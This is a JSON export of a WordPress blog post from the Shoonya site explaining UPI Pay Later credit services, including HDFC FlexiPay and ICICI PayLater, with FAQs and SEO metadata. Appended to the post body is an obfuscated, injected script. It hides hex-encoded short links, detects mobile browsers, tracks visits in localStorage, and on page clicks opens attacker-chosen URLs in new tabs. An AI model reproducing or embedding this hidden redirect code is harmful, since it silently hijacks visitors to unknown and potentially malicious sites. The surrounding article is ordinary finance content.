{"id":5374,"date":"2023-10-19T07:07:07","date_gmt":"2023-10-19T07:07:07","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=5374"},"modified":"2023-10-19T09:03:33","modified_gmt":"2023-10-19T09:03:33","slug":"upi-pay-later-a-convenient-payment-solution","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/","title":{"rendered":"UPI Pay Later: Latest Revolution in Online Payments"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#Understanding_UPI_Pay_Later\" >Understanding UPI Pay Later<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#How_UPI_Pay_Later_Works\" >How UPI Pay Later Works<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#Benefits_of_Pay_Later_UPI\" >Benefits of Pay Later UPI<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#The_HDFC_Pay_Later_Experience\" >The HDFC Pay Later Experience<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#Key_Features_of_HDFC_Pay_Later\" >Key Features of HDFC Pay Later<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#The_ICICI_Pay_Later_Advantage\" >The ICICI Pay Later Advantage<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#Utilising_ICICI_Pay_Later\" >Utilising ICICI Pay Later<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#UPI_Now_Pay_Later_A_Banking_Innovation\" >UPI Now, Pay Later: A Banking Innovation<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#How_UPI_Credit_Line_Differs_from_a_Credit_Card_on_UPI\" >How UPI Credit Line Differs from a Credit Card on UPI<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#FAQs\" >FAQs<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">In the fast-paced world of digital transactions, UPI Now, Pay Later emerges as a game-changer. This feature allows us to make online payments without the immediate need for funds, making it an excellent solution for managing expenses and coping with financial emergencies. In today\u2019s blog, we will explore the UPI Pay Later service in detail and also explore the basic features of services like HDFC Pay Later and ICICI Pay Later.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Understanding_UPI_Pay_Later\"><\/span><strong>Understanding UPI Pay Later<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">UPI Pay Later is a recently introduced feature that empowers users to make online payments using a pre-approved credit line from their banks. The beauty of this feature lies in its flexibility. Users can seamlessly link their credit lines to the UPI system, granting them access to the &#8216;Pay Later&#8217; option at the checkout page of various merchants and platforms.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_UPI_Pay_Later_Works\"><\/span><strong>How UPI Pay Later Works<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Once you opt for &#8216;Pay Later,&#8217; you can repay the borrowed amount within a specified period, <strong>which typically ranges from 15 to 90 days<\/strong>.&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The exact repayment terms may vary based on your bank and the plan you choose.&nbsp;<\/li>\n\n\n\n<li>Some banks offer interest-free periods, ensuring you won&#8217;t incur additional costs if you pay within this timeframe.<\/li>\n\n\n\n<li>UPI Pay Later is a convenient lifeline for individuals facing cash crunches towards the end of the month or those needing instant credit for unexpected emergencies.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Benefits_of_Pay_Later_UPI\"><\/span><strong>Benefits of Pay Later UPI<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">One of the prime advantages of Pay Later UPI is the ability to access short-term credit for online purchases and bill payments.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Users have the freedom to repay the amount later, either with or without interest. This financial flexibility not only helps manage expenses but can also be a tool to improve your credit score, save on transaction fees, and access attractive deals and discounts from merchants.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"The_HDFC_Pay_Later_Experience\"><\/span><strong>The HDFC Pay Later Experience<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">HDFC Bank, a prominent player in the Indian banking sector, offers its customers the convenience of UPI Pay Later through a service known as FlexiPay.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">FlexiPay is a digital, zero-interest credit product that allows users to buy now and pay later, all while using their HDFC Bank debit card or credit card.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Features_of_HDFC_Pay_Later\"><\/span><strong>Key Features of HDFC Pay Later<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Users can activate FlexiPay through various channels, including net banking, the HDFC app, or third-party UPI apps such as Google Pay, Mobikwik, Freecharge, and more.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With a generous <strong>credit limit of up to Rs 50,000 per month<\/strong>, users can comfortably make UPI payments to any merchant or store. The repayment tenure is customisable, with options for 15 days, 30 days, 60 days, or 90 days, depending on individual preferences and budget.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>To access this service, HDFC Pay Later charges a one-time processing fee of Rs 149 and a modest interest rate of 16% per annum on the borrowed amount.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"The_ICICI_Pay_Later_Advantage\"><\/span><strong>The ICICI Pay Later Advantage<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ICICI Bank, another renowned name in the Indian banking sector, offers its version of UPI Pay Later, known as PayLater by ICICI Bank. This digital credit product provides users up to 45 days of interest-free credit.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Utilising_ICICI_Pay_Later\"><\/span><strong>Utilising ICICI Pay Later<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">ICICI Bank provides a quick digital credit service that allows you to access funds for a period of up to 45 days. This credit can be used to pay bills, make online purchases, or instantly settle payments with any merchant via UPI ID.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At the end of this credit cycle, the outstanding amount will be automatically deducted from your ICICI Bank savings account.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>It&#8217;s important to note that no interest is charged on this credit, but a service fee of Rs 75, along with applicable taxes, will be applied for every Rs 3,000 spent from your ICICI Bank PayLater account within a month.<\/em><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Instant Access to Funds<\/strong>: PayLater provides you with a quick digital credit line for emergency online purchases or bill payments. You can use this credit for immediate transactions and repay it within 45 days.<\/li>\n\n\n\n<li><strong>Interest-Free Credit:<\/strong> PayLater offers interest-free credit if you clear the dues within 45 days.&nbsp;<\/li>\n\n\n\n<li><strong>Convenient Repayment:<\/strong> Repaying your PayLater balance is easy. Add the required funds to your linked Savings Account, and the bank will automatically deduct the outstanding balance.&nbsp;<\/li>\n\n\n\n<li><strong>Adequate Credit Limit: <\/strong>Your PayLater Account comes with a credit limit determined by the bank, typically ranging from Rs 5,000 to Rs 50,000.&nbsp;<\/li>\n\n\n\n<li><strong>Maintain Savings and Earn Interest:<\/strong> With PayLater&#8217;s interest-free credit for up to 45 days, you can keep a higher balance in your Savings Account, earning more interest.&nbsp;<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"UPI_Now_Pay_Later_A_Banking_Innovation\"><\/span>UPI Now, Pay Later: A Banking Innovation<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The banking environment has witnessed a significant innovation with the introduction of <a href=\"https:\/\/shoonya.com\/blog\/upi-autopay\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">UPI<\/mark><\/a> Now Pay Later. This feature, enabled by the Reserve Bank of India, allows users to link their pre-approved overdraft facilities from banks to the UPI system for seamless payments.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_UPI_Credit_Line_Differs_from_a_Credit_Card_on_UPI\"><\/span>How UPI Credit Line Differs from a Credit Card on UPI<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A UPI credit line differs slightly from a UPI credit card. Banks typically demand numerous documents for credit card issuance, excluding many without formal income records.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">UPI credit lines only require basic personal account verification, making it accessible to a broader range, including small borrowers and business owners, for managing working capital.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">UPI Pay Later services offer users a lifeline for flexible online payments, including HDFC Pay Later and ICICI Pay Later. They empower individuals to manage their finances with ease and convenience. However, using these services responsibly is essential, as adhering to terms and conditions, and ensuring timely repayments to avoid penalties and safeguard your credit score.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"FAQs\"><\/span>FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1697697862769\"><strong class=\"schema-faq-question\"><strong>What is PayLater in UPI?<\/strong><\/strong> <p class=\"schema-faq-answer\">PayLater in UPI is a feature allowing you to use a pre-approved credit line to make UPI transactions and pay within a specified time frame. It offers flexibility and convenience for managing expenses and emergencies.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1697697878692\"><strong class=\"schema-faq-question\"><strong>How do I activate PayLater in UPI?<\/strong><\/strong> <p class=\"schema-faq-answer\">To activate PayLater in UPI, have an account with a participating bank like HDFC or ICICI, meet eligibility criteria, and apply through internet banking, mobile apps, or UPI platforms. You&#8217;ll receive a credit limit and a dedicated UPI ID for payments.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1697697904209\"><strong class=\"schema-faq-question\"><strong>How can I get money from PayLater?<\/strong><\/strong> <p class=\"schema-faq-answer\">PayLater is for making payments, not receiving money. However, indirect methods like using Mobikwik or Paytm for transactions can allow you to access funds, but these methods come with potential risks and should be used with caution.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1697697925195\"><strong class=\"schema-faq-question\"><strong>Can I transfer money from PayLater to a bank account?<\/strong><\/strong> <p class=\"schema-faq-answer\">PayLater doesn&#8217;t provide a direct transfer to a bank account. Indirect methods involving liquid funds or FASTag wallet top-ups can be used to move funds, but they may not be secure, reliable, or cost-effective and may attract income tax scrutiny.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source <\/strong>&#8211; <a href=\"https:\/\/economictimes.indiatimes.com\/wealth\/save\/upi-now-pay-later-not-enough-money-in-bank-account-you-can-still-do-upi-transactions-and-pay-later-how-to-use\/articleshow\/103598311.cms?from=mdr\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">economictimes.indiatimes.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>In the fast-paced world of digital transactions, UPI Now, Pay Later emerges as a game-changer. This feature allows us to make online payments without the immediate need for funds, making it an excellent solution for managing expenses and coping with financial emergencies. In today\u2019s blog, we will explore the UPI Pay Later service in detail &hellip; <a href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;UPI Pay Later: Latest Revolution in Online Payments&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":5379,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[2541,2538,2540,2542,2539],"class_list":["post-5374","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-hdfc-pay-later","tag-icici-pay-later","tag-pay-later-upi","tag-upi-now-pay-later","tag-upi-pay-later"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>UPI Pay Later: A Convenient Payment Solution<\/title>\n<meta name=\"description\" content=\"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"UPI Pay Later: A Convenient Payment Solution\" \/>\n<meta property=\"og:description\" content=\"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2023-10-19T07:07:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-10-19T09:03:33+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"UPI Pay Later: A Convenient Payment Solution\" \/>\n<meta name=\"twitter:description\" content=\"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"UPI Pay Later: Latest Revolution in Online 